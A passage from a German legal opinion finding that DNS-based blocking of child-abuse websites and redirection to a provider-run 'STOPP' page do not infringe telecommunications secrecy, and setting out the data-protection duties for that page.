sich also nicht Kenntnis von Daten verschaffen, die er für die Erbringung 6
seiner Dienste gar nicht braucht. Dies ergibt sich bei einer Sperrung über
das Domain System aber nicht.

Nach alledem ist in der Sperrung über das Domain System kein Eingriff
in Art. 10 GG bzw. § 88 TKG zu sehen.

II. Verfassungs-, telekommunikations- und telemedienrechtliche Beurteilung
des Betriebs einer STOPP-Seite
1. Auch die Weiterleitung einer Anfrage auf eine bei dem Diensteanbieter geführ-
te STOPP-Seite stellt keinen Eingriff in das Fernmeldegeheimnis dar, und
zwar weder aus Art. 10 GG noch aus § 88 TKG.

Bei der Weiterleitung auf eine bei dem Diensteanbieter geführte STOPP-Seite
kommt es zwar anders als bei der bloßen Sperre über das Domain-System
zum Aufbau einer Verbindung, da der Nutzer ja eine Internet-Seite aufruft. Der
Schutzbereich des § 88 TKG dürfte also eröffnet sein. Der Zugangsvermittler
ermöglicht einen Telekommunikationsvorgang, den er allerdings „manipuliert“,
in dem er die Zieleingabe verändert. Der Server des Diensteanbieters, auf
dem die STOPP-Seite gespeichert ist, übermittelt diese genau wie beim Aufruf
anderer Internet-Seiten auch über den Internet-Zugang des Zugangsvermitt-
lers an die IP-Adresse des Nutzers.

Es liegt aber kein Eingriff in den Schutzbereich vor, da die Frage, ob der Nut-
zer die Internet-Seite aufrufen konnte, die er dem DNS-Server genannt hat,
sich nicht nach Maßgabe des Fernmeldegeheimnisses beurteilt. Dieses
schützt die Verbindung an sich, nicht aber eine Verbindung zu einem be-
stimmten Ziel.

Wird die STOPP-Seite vom Diensteanbieter betrieben, erhält auch niemand,
der sonst keine Kenntnis von den Daten des Nutzers hätte, Kenntnis dersel-
ben.

Die Weiterleitung auf eine vom Diensteanbieter betriebene STOPP-Seite
stellt daher keinen Eingriff in Art. 10 GG bzw. § 88 TKG dar. 7

2. Die „Stopp“-Seite selbst ist ein Telemedienangebot. Sie unterliegt den daten-
schutzrechtlichen Anforderungen des TMG. Der Webserver, auf dem die
„Stopp“-Seite gespeichert ist, speichert kurzfristig für die Zeit der technischen
Bearbeitung die IP-Adresse des Nutzers, um die Daten der Seite an diese Ad-
resse übermitteln zu können.

Sämtliche Daten, die auf dem Webserver der „Stopp“-Seite ankommen und
dort gespeichert werden, sind Nutzungsdaten im Sinne des TMG (§ 15). Der
Diensteanbieter darf diese Daten verarbeiten, soweit dies erforderlich ist, um
die Inanspruchnahme der „Stopp“-Seite zu ermöglichen. Das ist in jedem Fall
die IP-Adresse des Nutzers. Nach Übermittlung der Webseite entfällt dieser
Zweck und die Daten sind unverzüglich zu löschen. Dies muss der Dienstean-
bieter durch technische und organisatorische Vorkehrungen gewährleisten
(Systemdatenschutz, § 13 Abs. 4 TMG). Zum notwendigen Systemdaten-
schutz gehört u. a. auch, dass der Nutzer die „Stopp“-Seite gegen Kenntnis-
nahme Dritter geschützt in Anspruch nehmen kann.

Denkbar ist, dass auf der „Stopp“-Seite ein Zähler eingerichtet wird, der die
Abrufe der „Stopp“-Seite rein zahlenmäßig registriert. Diese Zahlen enthalten
keinerlei Personenbezug und sind daher datenschutzrechtlich irrelevant. Sie
könnten nach hiesiger Einschätzung ohne weiteres beliebig verwendet wer-
den, d. h. auch an das BKA für statistische Zwecke übermittelt werden.

Wird die STOPP-Seite vom Diensteanbieter betrieben erhält auch niemand,
der sonst keine Kenntnis von den Daten des Nutzers hätte, Kenntnis dersel-
ben.

Einblicke in die Kinderpornoszene

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